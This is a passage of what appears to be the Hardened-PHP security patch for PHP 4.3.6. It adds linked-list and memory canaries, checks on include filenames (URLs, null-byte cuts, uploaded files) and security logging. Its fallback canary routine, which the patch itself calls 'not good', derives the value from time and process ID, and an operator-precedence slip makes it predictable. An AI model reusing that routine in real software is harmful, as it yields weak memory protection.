347+ if (r == sizeof(canary)) {
348+ return (canary);
349+ }
350+ }
351+ /* not good but we never want to do this */
352+ time(&t);
353+ canary = *(unsigned int *)&t + getpid() << 16;
354+ return (canary);
355+}
356+#endif
357+
358+
359+/*
360+ * Local variables:
361+ * tab-width: 4
362+ * c-basic-offset: 4
363+ * End:
364+ * vim600: sw=4 ts=4 fdm=marker
365+ * vim<600: sw=4 ts=4
366+ */
367diff -Nur php-4.3.6.orig/Zend/zend_execute.c hardened-php/Zend/zend_execute.c
368--- php-4.3.6.orig/Zend/zend_execute.c Fri Apr 16 19:25:37 2004
369+++ hardened-php/Zend/zend_execute.c Sun May 16 00:33:40 2004
370@@ -2137,7 +2137,12 @@
371 int dummy = 1;
372 zend_file_handle file_handle = {0};
373
374+#if HARDENED_PHP_INC_PROTECT
375+ if (zend_is_valid_include(inc_filename)
376+ && zend_open(inc_filename->value.str.val, &file_handle) == SUCCESS
377+#else
378 if (zend_open(inc_filename->value.str.val, &file_handle) == SUCCESS
379+#endif
380 && ZEND_IS_VALID_FILE_HANDLE(&file_handle)) {
381
382 file_handle.filename = inc_filename->value.str.val;
383@@ -2166,6 +2171,11 @@
384 break;
385 case ZEND_INCLUDE:
386 case ZEND_REQUIRE:
387+#if HARDENED_PHP_INC_PROTECT
388+ if (!zend_is_valid_include(inc_filename)) {
389+ break;
390+ }
391+#endif
392 new_op_array = compile_filename(EX(opline)->op2.u.constant.value.lval, inc_filename TSRMLS_CC);
393 break;
394 case ZEND_EVAL: {
395diff -Nur php-4.3.6.orig/Zend/zend_globals.h hardened-php/Zend/zend_globals.h
396--- php-4.3.6.orig/Zend/zend_globals.h Fri Apr 16 19:25:37 2004
397+++ hardened-php/Zend/zend_globals.h Sun May 16 00:33:40 2004
398@@ -229,6 +229,14 @@
399 int cache_stats[MAX_CACHED_MEMORY][2];
400 int fast_cache_stats[MAX_FAST_CACHE_TYPES][2];
401 #endif
402+#if HARDENED_PHP_MM_PROTECT
403+ unsigned int canary_1;
404+ unsigned int canary_2;
405+#endif
406+#if HARDENED_PHP_LL_PROTECT
407+ unsigned int canary_3;
408+ unsigned int canary_4;
409+#endif
410 #if MEMORY_LIMIT
411 unsigned int memory_limit;
412 unsigned int allocated_memory;
413diff -Nur php-4.3.6.orig/Zend/zend_hash.c hardened-php/Zend/zend_hash.c
414--- php-4.3.6.orig/Zend/zend_hash.c Fri Apr 16 19:25:37 2004
415+++ hardened-php/Zend/zend_hash.c Sun May 16 00:33:40 2004
416@@ -447,7 +447,7 @@
417 IS_CONSISTENT(ht);
418
419 if ((ht->nTableSize << 1) > 0) { /* Let's double the table size */
420- t = (Bucket **) perealloc_recoverable(ht->arBuckets, (ht->nTableSize << 1) * sizeof(Bucket *), ht->persistent);
421+ t = (Bucket **) perealloc(ht->arBuckets, (ht->nTableSize << 1) * sizeof(Bucket *), ht->persistent);
422 if (t) {
423 HANDLE_BLOCK_INTERRUPTIONS();
424 ht->arBuckets = t;
425@@ -457,6 +457,7 @@
426 HANDLE_UNBLOCK_INTERRUPTIONS();
427 return SUCCESS;
428 }
429+ zend_error(E_ERROR, "zend_hash_do_resize - out of memory");
430 return FAILURE;
431 }
432 return SUCCESS;
433diff -Nur php-4.3.6.orig/Zend/zend_llist.c hardened-php/Zend/zend_llist.c
434--- php-4.3.6.orig/Zend/zend_llist.c Fri Apr 16 19:25:37 2004
435+++ hardened-php/Zend/zend_llist.c Sun May 16 00:33:40 2004
436@@ -21,9 +21,34 @@
437 #include "zend.h"
438 #include "zend_llist.h"
439 #include "zend_qsort.h"
440+#include "zend_globals.h"
441+
442+#define CHECK_LIST_CANARY(list) \
443+ if (AG(canary_3) != (list)->canary_h || AG(canary_4) != (list)->canary_t) { \
444+ zend_security_log("linked list canary was overwritten"); \
445+ exit(1); \
446+ }
447+
448+#define CHECK_LISTELEMENT_CANARY(elem) \
449+ if (AG(canary_3) != (elem)->canary) { \
450+ zend_security_log("linked list element canary was overwritten"); \
451+ exit(1); \
452+ }
453+
454
455 ZEND_API void zend_llist_init(zend_llist *l, size_t size, llist_dtor_func_t dtor, unsigned char persistent)
456 {
457+#if HARDENED_PHP_LL_PROTECT
458+ static int ll_canary_inited = 0;
459+
460+ if (!ll_canary_inited) {
461+ AG(canary_3) = zend_canary();
462+ AG(canary_4) = zend_canary();
463+ ll_canary_inited = 1;
464+ }
465+ l->canary_h = AG(canary_3);
466+ l->canary_t = AG(canary_4);
467+#endif
468 l->head = NULL;
469 l->tail = NULL;
470 l->count = 0;
471@@ -37,6 +62,10 @@
472 {
473 zend_llist_element *tmp = pemalloc(sizeof(zend_llist_element)+l->size-1, l->persistent);
474
475+#if HARDENED_PHP_LL_PROTECT
476+ CHECK_LIST_CANARY(l)
477+ tmp->canary = AG(canary_3);
478+#endif
479 tmp->prev = l->tail;
480 tmp->next = NULL;
481 if (l->tail) {
482@@ -55,6 +84,10 @@
483 {
484 zend_llist_element *tmp = pemalloc(sizeof(zend_llist_element)+l->size-1, l->persistent);
485
486+#if HARDENED_PHP_LL_PROTECT
487+ CHECK_LIST_CANARY(l)
488+ tmp->canary = AG(canary_3);
489+#endif
490 tmp->next = l->head;
491 tmp->prev = NULL;
492 if (l->head) {
493@@ -91,10 +124,19 @@
494 zend_llist_element *current=l->head;
495 zend_llist_element *next;
496
497+#if HARDENED_PHP_LL_PROTECT
498+ CHECK_LIST_CANARY(l)
499+#endif
500 while (current) {
501+#if HARDENED_PHP_LL_PROTECT
502+ CHECK_LISTELEMENT_CANARY(current)
503+#endif
504 next = current->next;
505 if (compare(current->data, element)) {
506 DEL_LLIST_ELEMENT(current, l);
507+#if HARDENED_PHP_LL_PROTECT
508+ current->canary = 0;
509+#endif
510 break;
511 }
512 current = next;
513@@ -106,7 +148,13 @@
514 {
515 zend_llist_element *current=l->head, *next;
516
517+#if HARDENED_PHP_LL_PROTECT
518+ CHECK_LIST_CANARY(l)
519+#endif
520 while (current) {
521+#if HARDENED_PHP_LL_PROTECT
522+ CHECK_LISTELEMENT_CANARY(current)
523+#endif
524 next = current->next;
525 if (l->dtor) {
526 l->dtor(current->data);
527@@ -131,7 +179,13 @@
528 zend_llist_element *old_tail;
529 void *data;
530
531+#if HARDENED_PHP_LL_PROTECT
532+ CHECK_LIST_CANARY(l)
533+#endif
534 if ((old_tail = l->tail)) {
535+#if HARDENED_PHP_LL_PROTECT
536+ CHECK_LISTELEMENT_CANARY(old_tail)
537+#endif
538 if (l->tail->prev) {
539 l->tail->prev->next = NULL;
540 }
541@@ -157,9 +211,15 @@
542 {
543 zend_llist_element *ptr;
544
545+#if HARDENED_PHP_LL_PROTECT
546+ CHECK_LIST_CANARY(src)
547+#endif
548 zend_llist_init(dst, src->size, src->dtor, src->persistent);
549 ptr = src->head;
550 while (ptr) {
551+#if HARDENED_PHP_LL_PROTECT
552+ CHECK_LISTELEMENT_CANARY(ptr)
553+#endif
554 zend_llist_add_element(dst, ptr->data);
555 ptr = ptr->next;
556 }
557@@ -170,11 +230,20 @@
558 {
559 zend_llist_element *element, *next;
560
561+#if HARDENED_PHP_LL_PROTECT
562+ CHECK_LIST_CANARY(l)
563+#endif
564 element=l->head;
565 while (element) {
566+#if HARDENED_PHP_LL_PROTECT
567+ CHECK_LISTELEMENT_CANARY(element)
568+#endif
569 next = element->next;
570 if (func(element->data)) {
571 DEL_LLIST_ELEMENT(element, l);
572+#if HARDENED_PHP_LL_PROTECT
573+ element->canary = 0;
574+#endif
575 }
576 element = next;
577 }
578@@ -185,7 +254,13 @@
579 {
580 zend_llist_element *element;
581
582+#if HARDENED_PHP_LL_PROTECT
583+ CHECK_LIST_CANARY(l)
584+#endif
585 for (element=l->head; element; element=element->next) {
586+#if HARDENED_PHP_LL_PROTECT
587+ CHECK_LISTELEMENT_CANARY(element)
588+#endif
589 func(element->data TSRMLS_CC);
590 }
591 }
592@@ -197,6 +272,9 @@
593 zend_llist_element **elements;
594 zend_llist_element *element, **ptr;
595
596+#if HARDENED_PHP_LL_PROTECT
597+ CHECK_LIST_CANARY(l)
598+#endif
599 if (l->count <= 0) {
600 return;
601 }
602@@ -206,6 +284,9 @@
603 ptr = &elements[0];
604
605 for (element=l->head; element; element=element->next) {
606+#if HARDENED_PHP_LL_PROTECT
607+ CHECK_LISTELEMENT_CANARY(element)
608+#endif
609 *ptr++ = element;
610 }
611
612@@ -228,7 +309,13 @@
613 {
614 zend_llist_element *element;
615
616+#if HARDENED_PHP_LL_PROTECT
617+ CHECK_LIST_CANARY(l)
618+#endif
619 for (element=l->head; element; element=element->next) {
620+#if HARDENED_PHP_LL_PROTECT
621+ CHECK_LISTELEMENT_CANARY(element)
622+#endif
623 func(element->data, arg TSRMLS_CC);
624 }
625 }
626@@ -239,8 +326,14 @@
627 zend_llist_element *element;
628 va_list args;
629
630+#if HARDENED_PHP_LL_PROTECT
631+ CHECK_LIST_CANARY(l)
632+#endif
633 va_start(args, num_args);
634 for (element=l->head; element; element=element->next) {
635+#if HARDENED_PHP_LL_PROTECT
636+ CHECK_LISTELEMENT_CANARY(element)
637+#endif
638 func(element->data, num_args, args TSRMLS_CC);
639 }
640 va_end(args);
641@@ -249,6 +342,9 @@
642
643 ZEND_API int zend_llist_count(zend_llist *l)
644 {
645+#if HARDENED_PHP_LL_PROTECT
646+ CHECK_LIST_CANARY(l)
647+#endif
648 return l->count;
649 }
650
651@@ -256,8 +352,14 @@
652 {
653 zend_llist_position *current = pos ? pos : &l->traverse_ptr;
654
655+#if HARDENED_PHP_LL_PROTECT
656+ CHECK_LIST_CANARY(l)
657+#endif
658 *current = l->head;
659 if (*current) {
660+#if HARDENED_PHP_LL_PROTECT
661+ CHECK_LISTELEMENT_CANARY(*current)
662+#endif
663 return (*current)->data;
664 } else {
665 return NULL;
666@@ -269,8 +371,14 @@
667 {
668 zend_llist_position *current = pos ? pos : &l->traverse_ptr;
669
670+#if HARDENED_PHP_LL_PROTECT
671+ CHECK_LIST_CANARY(l)
672+#endif
673 *current = l->tail;
674 if (*current) {
675+#if HARDENED_PHP_LL_PROTECT
676+ CHECK_LISTELEMENT_CANARY(*current)
677+#endif
678 return (*current)->data;
679 } else {
680 return NULL;
681@@ -282,9 +390,18 @@
682 {
683 zend_llist_position *current = pos ? pos : &l->traverse_ptr;
684
685+#if HARDENED_PHP_LL_PROTECT
686+ CHECK_LIST_CANARY(l)
687+#endif
688 if (*current) {
689+#if HARDENED_PHP_LL_PROTECT
690+ CHECK_LISTELEMENT_CANARY(*current)
691+#endif
692 *current = (*current)->next;
693 if (*current) {
694+#if HARDENED_PHP_LL_PROTECT
695+ CHECK_LISTELEMENT_CANARY(*current)
696+#endif
697 return (*current)->data;
698 }
699 }
700@@ -296,9 +413,18 @@
701 {
702 zend_llist_position *current = pos ? pos : &l->traverse_ptr;
703
704+#if HARDENED_PHP_LL_PROTECT
705+ CHECK_LIST_CANARY(l)
706+#endif
707 if (*current) {
708+#if HARDENED_PHP_LL_PROTECT
709+ CHECK_LISTELEMENT_CANARY(*current)
710+#endif
711 *current = (*current)->prev;
712 if (*current) {
713+#if HARDENED_PHP_LL_PROTECT
714+ CHECK_LISTELEMENT_CANARY(*current)
715+#endif
716 return (*current)->data;
717 }
718 }
719diff -Nur php-4.3.6.orig/Zend/zend_llist.h hardened-php/Zend/zend_llist.h
720--- php-4.3.6.orig/Zend/zend_llist.h Fri Apr 16 19:25:37 2004
721+++ hardened-php/Zend/zend_llist.h Sun May 16 00:33:40 2004
722@@ -24,6 +24,9 @@
723 #include <stdlib.h>
724
725 typedef struct _zend_llist_element {
726+#if HARDENED_PHP_LL_PROTECT
727+ unsigned int canary;
728+#endif
729 struct _zend_llist_element *next;
730 struct _zend_llist_element *prev;
731 char data[1]; /* Needs to always be last in the struct */
732@@ -36,6 +39,9 @@
733 typedef void (*llist_apply_func_t)(void * TSRMLS_DC);
734
735 typedef struct _zend_llist {
736+#if HARDENED_PHP_LL_PROTECT
737+ unsigned int canary_h; /* head */
738+#endif
739 zend_llist_element *head;
740 zend_llist_element *tail;
741 size_t size;
742@@ -43,6 +49,9 @@
743 llist_dtor_func_t dtor;
744 unsigned char persistent;
745 zend_llist_element *traverse_ptr;
746+#if HARDENED_PHP_LL_PROTECT
747+ unsigned int canary_t; /* tail */
748+#endif
749 } zend_llist;
750
751 typedef zend_llist_element* zend_llist_position;
752diff -Nur php-4.3.6.orig/configure hardened-php/configure
753--- php-4.3.6.orig/configure Fri Apr 16 19:25:50 2004
754+++ hardened-php/configure Sun May 16 00:33:40 2004
755@@ -389,6 +389,14 @@
756 ac_default_prefix=/usr/local
757 # Any additions from configure.in:
758 ac_help="$ac_help
759+ --disable-hardened-php-mm-protect Disable the Memory Manager protection."
760+ac_help="$ac_help
761+ --disable-hardened-php-ll-protect Disable the Linked List protection."
762+ac_help="$ac_help
763+ --disable-hardened-php-inc-protect Disable include/require protection."
764+ac_help="$ac_help
765+ --disable-hardened-php-fmt-protect Disable format string protection."
766+ac_help="$ac_help
767
768 SAPI modules:
769 "
770@@ -2643,6 +2651,128 @@
771
772
773
774+# Check whether --enable-hardened-php-mm-protect or --disable-hardened-php-mm-protect was given.
775+if test "${enable_hardened_php_mm_protect+set}" = set; then
776+ enableval="$enable_hardened_php_mm_protect"
777+
778+ DO_HARDENED_PHP_MM_PROTECT=$enableval
779+
780+else
781+
782+ DO_HARDENED_PHP_MM_PROTECT=yes
783+
784+fi
785+
786+
787+# Check whether --enable-hardened-php-ll-protect or --disable-hardened-php-ll-protect was given.
788+if test "${enable_hardened_php_ll_protect+set}" = set; then
789+ enableval="$enable_hardened_php_ll_protect"
790+
791+ DO_HARDENED_PHP_LL_PROTECT=$enableval
792+
793+else
794+
795+ DO_HARDENED_PHP_LL_PROTECT=yes
796+
797+fi
798+
799+
800+# Check whether --enable-hardened-php-inc-protect or --disable-hardened-php-inc-protect was given.
801+if test "${enable_hardened_php_inc_protect+set}" = set; then
802+ enableval="$enable_hardened_php_inc_protect"
803+
804+ DO_HARDENED_PHP_INC_PROTECT=$enableval
805+
806+else
807+
808+ DO_HARDENED_PHP_INC_PROTECT=yes
809+
810+fi
811+
812+
813+# Check whether --enable-hardened-php-fmt-protect or --disable-hardened-php-fmt-protect was given.
814+if test "${enable_hardened_php_fmt_protect+set}" = set; then
815+ enableval="$enable_hardened_php_fmt_protect"
816+
817+ DO_HARDENED_PHP_FMT_PROTECT=$enableval
818+
819+else
820+
821+ DO_HARDENED_PHP_FMT_PROTECT=yes
822+
823+fi
824+
825+
826+echo $ac_n "checking whether to protect the Zend Memory Manager""... $ac_c" 1>&6
827+echo "configure:2725: checking whether to protect the Zend Memory Manager" >&5
828+echo "$ac_t""$DO_HARDENED_PHP_MM_PROTECT" 1>&6
829+
830+echo $ac_n "checking whether to protect the Zend Linked Lists""... $ac_c" 1>&6
831+echo "configure:2729: checking whether to protect the Zend Linked Lists" >&5
832+echo "$ac_t""$DO_HARDENED_PHP_LL_PROTECT" 1>&6
833+
834+echo $ac_n "checking whether to protect include/require statements""... $ac_c" 1>&6
835+echo "configure:2733: checking whether to protect include/require statements" >&5
836+echo "$ac_t""$DO_HARDENED_PHP_INC_PROTECT" 1>&6
837+
838+echo $ac_n "checking whether to protect PHP Format String functions""... $ac_c" 1>&6
839+echo "configure:2737: checking whether to protect PHP Format String functions" >&5
840+echo "$ac_t""$DO_HARDENED_PHP_FMT_PROTECT" 1>&6
841+
842+
843+cat >> confdefs.h <<\EOF
844+#define HARDENED_PHP 1
845+EOF
846+
847+
848+
849+if test "$DO_HARDENED_PHP_MM_PROTECT" = "yes"; then
850+ cat >> confdefs.h <<\EOF
851+#define HARDENED_PHP_MM_PROTECT 1
852+EOF
853+
854+else
855+ cat >> confdefs.h <<\EOF
856+#define HARDENED_PHP_MM_PROTECT 0
857+EOF
858+
859+fi
860+
861+if test "$DO_HARDENED_PHP_LL_PROTECT" = "yes"; then
862+ cat >> confdefs.h <<\EOF
863+#define HARDENED_PHP_LL_PROTECT 1
864+EOF
865+
866+else
867+ cat >> confdefs.h <<\EOF
868+#define HARDENED_PHP_LL_PROTECT 0
869+EOF
870+
871+fi
872+
873+if test "$DO_HARDENED_PHP_INC_PROTECT" = "yes"; then
874+ cat >> confdefs.h <<\EOF
875+#define HARDENED_PHP_INC_PROTECT 1
876+EOF
877+
878+else
879+ cat >> confdefs.h <<\EOF
880+#define HARDENED_PHP_INC_PROTECT 0
881+EOF
882+
883+fi
884+
885+if test "$DO_HARDENED_PHP_FMT_PROTECT" = "yes"; then
886+ cat >> confdefs.h <<\EOF
887+#define HARDENED_PHP_FMT_PROTECT 1
888+EOF
889+
890+else
891+ cat >> confdefs.h <<\EOF
892+#define HARDENED_PHP_FMT_PROTECT 0
893+EOF
894+
895+fi
896
897
898
899@@ -94186,7 +94316,7 @@
900 php_ini.c SAPI.c rfc1867.c php_content_types.c strlcpy.c \
901 strlcat.c mergesort.c reentrancy.c php_variables.c php_ticks.c \
902 streams.c network.c php_open_temporary_file.c php_logos.c \
903- output.c memory_streams.c user_streams.c; do
904+ output.c memory_streams.c user_streams.c hardened_php.c; do
905
906 IFS=.
907 set $ac_src
908@@ -94359,7 +94489,7 @@
909 zend_opcode.c zend_operators.c zend_ptr_stack.c zend_stack.c \
910 zend_variables.c zend.c zend_API.c zend_extensions.c zend_hash.c \
911 zend_list.c zend_indent.c zend_builtin_functions.c zend_sprintf.c \
912- zend_ini.c zend_qsort.c zend_multibyte.c; do
913+ zend_ini.c zend_qsort.c zend_multibyte.c zend_canary.c; do
914
915 IFS=.
916 set $ac_src
917diff -Nur php-4.3.6.orig/configure.in hardened-php/configure.in
918--- php-4.3.6.orig/configure.in Fri Apr 16 19:25:50 2004
919+++ hardened-php/configure.in Sun May 16 00:33:40 2004
920@@ -205,7 +205,7 @@
921 sinclude(Zend/acinclude.m4)
922 sinclude(Zend/Zend.m4)
923 sinclude(TSRM/tsrm.m4)
924-
925+sinclude(main/hardened_php.m4)
926
927
928 divert(2)
929@@ -1197,7 +1197,7 @@
930 php_ini.c SAPI.c rfc1867.c php_content_types.c strlcpy.c \
931 strlcat.c mergesort.c reentrancy.c php_variables.c php_ticks.c \
932 streams.c network.c php_open_temporary_file.c php_logos.c \
933- output.c memory_streams.c user_streams.c)
934+ output.c memory_streams.c user_streams.c hardened_php.c)
935 PHP_ADD_SOURCES(/main, internal_functions.c,, sapi)
936 PHP_ADD_SOURCES(/main, internal_functions_cli.c,, cli)
937
938@@ -1210,7 +1210,7 @@
939 zend_opcode.c zend_operators.c zend_ptr_stack.c zend_stack.c \
940 zend_variables.c zend.c zend_API.c zend_extensions.c zend_hash.c \
941 zend_list.c zend_indent.c zend_builtin_functions.c zend_sprintf.c \
942- zend_ini.c zend_qsort.c zend_multibyte.c)
943+ zend_ini.c zend_qsort.c zend_multibyte.c zend_canary.c)
944
945 if test -r "$abs_srcdir/Zend/zend_objects.c"; then
946 PHP_ADD_SOURCES(Zend, zend_objects.c zend_object_handlers.c zend_objects_API.c zend_mm.c)
947diff -Nur php-4.3.6.orig/main/SAPI.h hardened-php/main/SAPI.h
948--- php-4.3.6.orig/main/SAPI.h Fri Apr 16 19:25:39 2004
949+++ hardened-php/main/SAPI.h Sun May 16 00:33:40 2004
950@@ -101,9 +101,14 @@
951 char *current_user;
952 int current_user_length;
953
954- /* this is necessary for CLI module */
955- int argc;
956- char **argv;
957+ /* this is necessary for CLI module */
958+ int argc;
959+ char **argv;
960+
961+#if HARDENED_PHP
962+ /* this is necessary for IP logging */
963+ char ip_address[64];
964+#endif
965 } sapi_request_info;
966
967
968diff -Nur php-4.3.6.orig/main/hardened_php.c hardened-php/main/hardened_php.c
969--- php-4.3.6.orig/main/hardened_php.c Thu Jan 1 01:00:00 1970
970+++ hardened-php/main/hardened_php.c Sun May 16 00:38:41 2004
971@@ -0,0 +1,160 @@
972+/*
973+ +----------------------------------------------------------------------+
974+ | PHP Version 4 |
975+ +----------------------------------------------------------------------+
976+ | Copyright (c) 1997-2003 The PHP Group |
977+ +----------------------------------------------------------------------+
978+ | This source file is subject to version 2.02 of the PHP license, |
979+ | that is bundled with this package in the file LICENSE, and is |
980+ | available at through the world-wide-web at |
981+ | http://www.php.net/license/2_02.txt. |
982+ | If you did not receive a copy of the PHP license and are unable to |
983+ | obtain it through the world-wide-web, please send a note to |
984+ | license@php.net so we can mail you a copy immediately. |
985+ +----------------------------------------------------------------------+
986+ | Author: Stefan Esser <sesser@php.net> |
987+ +----------------------------------------------------------------------+
988+ */
989+/* $Id: hardened_php.c,v 1.51.2.4 2003/03/17 13:50:23 wez Exp $ */
990+
991+#include "php.h"
992+
993+#include <stdio.h>
994+#include <stdlib.h>
995+
996+#if HAVE_UNISTD_H
997+#include <unistd.h>
998+#endif
999+#include "SAPI.h"
1000+#include "php_globals.h"
1001+
1002+#if HARDENED_PHP
1003+
1004+#ifdef HAVE_SYS_SOCKET_H
1005+#include <sys/socket.h>
1006+#endif
1007+
1008+#if defined(PHP_WIN32) || defined(__riscos__) || defined(NETWARE)
1009+#undef AF_UNIX
1010+#endif
1011+
1012+#if defined(AF_UNIX)
1013+#include <sys/un.h>
1014+#endif
1015+
1016+#define SYSLOG_PATH "/dev/log"
1017+
1018+#include "snprintf.h"
1019+
1020+PHPAPI void php_security_log(char *str)
1021+{
1022+#if defined(AF_UNIX)
1023+ int s, r;
1024+ struct sockaddr_un sun;
1025+ char buf[1024];
1026+
1027+ ap_php_snprintf(buf, 1024, "php security-alert: %s (attacker '%s')\n", str, SG(request_info).ip_address);
1028+
1029+ s = socket(AF_UNIX, SOCK_DGRAM, 0);
1030+ if (s == -1) {
1031+ return;
1032+ }
1033+
1034+ memset(&sun, 0, sizeof(sun));
1035+ sun.sun_family = AF_UNIX;
1036+ strcpy(sun.sun_path, SYSLOG_PATH);
1037+ /*sun.sun_len = sizeof(sun);*/
1038+
1039+ r = connect(s, (struct sockaddr *)&sun, sizeof(sun));
1040+ if (r) {
1041+ close(s);
1042+ return;
1043+ }
1044+ send(s, buf, strlen(buf), 0);
1045+
1046+ close(s);
1047+#endif
1048+}
1049+#endif
1050+
1051+#if HARDENED_PHP_MM_PROTECT || HARDENED_PHP_LL_PROTECT
1052+
1053+/* will be replaced later with more compatible method */
1054+PHPAPI unsigned int php_canary()
1055+{
1056+ time_t t;
1057+ unsigned int canary;
1058+ int fd;
1059+
1060+ fd = open("/dev/urandom", 0);
1061+ if (fd != -1) {
1062+ int r = read(fd, &canary, sizeof(canary));
1063+ close(fd);
1064+ if (r == sizeof(canary)) {
1065+ return (canary);
1066+ }
1067+ }
1068+ /* not good but we never want to do this */
1069+ time(&t);
1070+ canary = *(unsigned int *)&t + getpid() << 16;
1071+ return (canary);
1072+}
1073+#endif
1074+
1075+#if HARDENED_PHP_INC_PROTECT
1076+
1077+PHPAPI int php_is_valid_include(zval *z)
1078+{
1079+ char *filename;
1080+ int len;
1081+ TSRMLS_FETCH();
1082+
1083+ /* must be of type string */
1084+ if (z->type != IS_STRING || z->value.str.val == NULL) {
1085+ return (0);
1086+ }
1087+
1088+ /* short cut */
1089+ filename = z->value.str.val;
1090+ len = z->value.str.len;
1091+
1092+ /* 1. must be shorter than MAXPATHLEN */
1093+ if (len > MAXPATHLEN) {
1094+ php_security_log("Include filename longer than MAXPATHLEN chars");
1095+ return (0);
1096+ }
1097+
1098+ /* 2. must not be cutted */
1099+ if (len != strlen(filename)) {
1100+ php_security_log("Include filename has a \\0 cut");
1101+ return (0);
1102+ }
1103+
1104+ /* 3. must not be a URL */
1105+ if (strstr(filename, "://")) {
1106+ php_security_log("Include filename is an URL");
1107+ return (0);
1108+ }
1109+
1110+ /* 4. must not be an uploaded file */
1111+ if (SG(rfc1867_uploaded_files)) {
1112+ if (zend_hash_exists(SG(rfc1867_uploaded_files), (char *) filename, len+1)) {
1113+ php_security_log("Include filename is an uploaded file");
1114+ return (0);
1115+ }
1116+ }
1117+
1118+ /* passed all tests */
1119+ return (1);
1120+}
1121+
1122+#endif
1123+
1124+/*
1125+ * Local variables:
1126+ * tab-width: 4
1127+ * c-basic-offset: 4
1128+ * End:
1129+ * vim600: sw=4 ts=4 fdm=marker
1130+ * vim<600: sw=4 ts=4
1131+ */
1132diff -Nur php-4.3.6.orig/main/hardened_php.h hardened-php/main/hardened_php.h
1133--- php-4.3.6.orig/main/hardened_php.h Thu Jan 1 01:00:00 1970
1134+++ hardened-php/main/hardened_php.h Sun May 16 00:33:40 2004
1135@@ -0,0 +1,44 @@
1136+/*
1137+ +----------------------------------------------------------------------+
1138+ | PHP Version 4 |
1139+ +----------------------------------------------------------------------+
1140+ | Copyright (c) 1997-2003 The PHP Group |
1141+ +----------------------------------------------------------------------+
1142+ | This source file is subject to version 2.02 of the PHP license, |
1143+ | that is bundled with this package in the file LICENSE, and is |
1144+ | available at through the world-wide-web at |
1145+ | http://www.php.net/license/2_02.txt. |
1146+ | If you did not receive a copy of the PHP license and are unable to |
1147+ | obtain it through the world-wide-web, please send a note to |
1148+ | license@php.net so we can mail you a copy immediately. |
1149+ +----------------------------------------------------------------------+
1150+ | Author: Stefan Esser <sesser@php.net> |
1151+ +----------------------------------------------------------------------+
1152+*/
1153+
1154+
1155+#ifndef HARDENED_PHP_H
1156+#define HARDENED_PHP_H
1157+
1158+#include "zend.h"
1159+
1160+#if HARDENED_PHP
1161+PHPAPI void php_security_log(char *str);
1162+#endif
1163+
1164+#if HARDENED_PHP_MM_PROTECT || HARDENED_PHP_LL_PROTECT
1165+PHPAPI unsigned int php_canary();
1166+#endif
1167+
1168+#if HARDENED_PHP_INC_PROTECT
1169+PHPAPI int php_is_valid_include(zval *z);
1170+#endif
1171+
1172+#endif /* HARDENED_PHP_H */
1173+
1174+/*
1175+ * Local variables:
1176+ * tab-width: 4
1177+ * c-basic-offset: 4
1178+ * End:
1179+ */
1180diff -Nur php-4.3.6.orig/main/hardened_php.m4 hardened-php/main/hardened_php.m4
1181--- php-4.3.6.orig/main/hardened_php.m4 Thu Jan 1 01:00:00 1970
1182+++ hardened-php/main/hardened_php.m4 Sun May 16 00:33:40 2004
1183@@ -0,0 +1,78 @@
1184+dnl
1185+dnl $Id: hardened_php.m4 Exp $
1186+dnl
1187+dnl This file contains Hardened-PHP specific autoconf functions.
1188+dnl
1189+
1190+AC_ARG_ENABLE(hardened-php-mm-protect,
1191+[ --disable-hardened-php-mm-protect Disable the Memory Manager protection.],[
1192+ DO_HARDENED_PHP_MM_PROTECT=$enableval
1193+],[
1194+ DO_HARDENED_PHP_MM_PROTECT=yes
1195+])
1196+
1197+AC_ARG_ENABLE(hardened-php-ll-protect,
1198+[ --disable-hardened-php-ll-protect Disable the Linked List protection.],[
1199+ DO_HARDENED_PHP_LL_PROTECT=$enableval
1200+],[
1201+ DO_HARDENED_PHP_LL_PROTECT=yes
1202+])
1203+
1204+AC_ARG_ENABLE(hardened-php-inc-protect,
1205+[ --disable-hardened-php-inc-protect Disable include/require protection.],[
1206+ DO_HARDENED_PHP_INC_PROTECT=$enableval
1207+],[
1208+ DO_HARDENED_PHP_INC_PROTECT=yes
1209+])
1210+
1211+AC_ARG_ENABLE(hardened-php-fmt-protect,
1212+[ --disable-hardened-php-fmt-protect Disable format string protection.],[
1213+ DO_HARDENED_PHP_FMT_PROTECT=$enableval
1214+],[
1215+ DO_HARDENED_PHP_FMT_PROTECT=yes
1216+])
1217+
1218+AC_MSG_CHECKING(whether to protect the Zend Memory Manager)
1219+AC_MSG_RESULT($DO_HARDENED_PHP_MM_PROTECT)
1220+
1221+AC_MSG_CHECKING(whether to protect the Zend Linked Lists)
1222+AC_MSG_RESULT($DO_HARDENED_PHP_LL_PROTECT)
1223+
1224+AC_MSG_CHECKING(whether to protect include/require statements)
1225+AC_MSG_RESULT($DO_HARDENED_PHP_INC_PROTECT)
1226+
1227+AC_MSG_CHECKING(whether to protect PHP Format String functions)
1228+AC_MSG_RESULT($DO_HARDENED_PHP_FMT_PROTECT)
1229+
1230+
1231+AC_DEFINE(HARDENED_PHP, 1, [Hardened-PHP])
1232+
1233+
1234+if test "$DO_HARDENED_PHP_MM_PROTECT" = "yes"; then
1235+dnl AC_DEFINE(HARDENED_PHP, 1, [Hardened-PHP])
1236+ AC_DEFINE(HARDENED_PHP_MM_PROTECT, 1, [Memory Manager Protection])
1237+else
1238+ AC_DEFINE(HARDENED_PHP_MM_PROTECT, 0, [Memory Manager Protection])
1239+fi
1240+
1241+if test "$DO_HARDENED_PHP_LL_PROTECT" = "yes"; then
1242+dnl AC_DEFINE(HARDENED_PHP, 1, [Hardened-PHP])
1243+ AC_DEFINE(HARDENED_PHP_LL_PROTECT, 1, [Linked List Protection])
1244+else
1245+ AC_DEFINE(HARDENED_PHP_LL_PROTECT, 0, [Linked List Protection])
1246+fi
1247+
1248+if test "$DO_HARDENED_PHP_INC_PROTECT" = "yes"; then
1249+dnl AC_DEFINE(HARDENED_PHP, 1, [Hardened-PHP])
1250+ AC_DEFINE(HARDENED_PHP_INC_PROTECT, 1, [Include/Require Protection])
1251+else
1252+ AC_DEFINE(HARDENED_PHP_INC_PROTECT, 0, [Include/Require Protection])
1253+fi
1254+
1255+if test "$DO_HARDENED_PHP_FMT_PROTECT" = "yes"; then
1256+dnl AC_DEFINE(HARDENED_PHP, 1, [Hardened-PHP])
1257+ AC_DEFINE(HARDENED_PHP_FMT_PROTECT, 1, [Fmt String Protection])
1258+else
1259+ AC_DEFINE(HARDENED_PHP_FMT_PROTECT, 0, [Fmt String Protection])
1260+fi
1261+
1262diff -Nur php-4.3.6.orig/main/main.c hardened-php/main/main.c
1263--- php-4.3.6.orig/main/main.c Fri Apr 16 19:25:39 2004
1264+++ hardened-php/main/main.c Sun May 16 00:33:40 2004
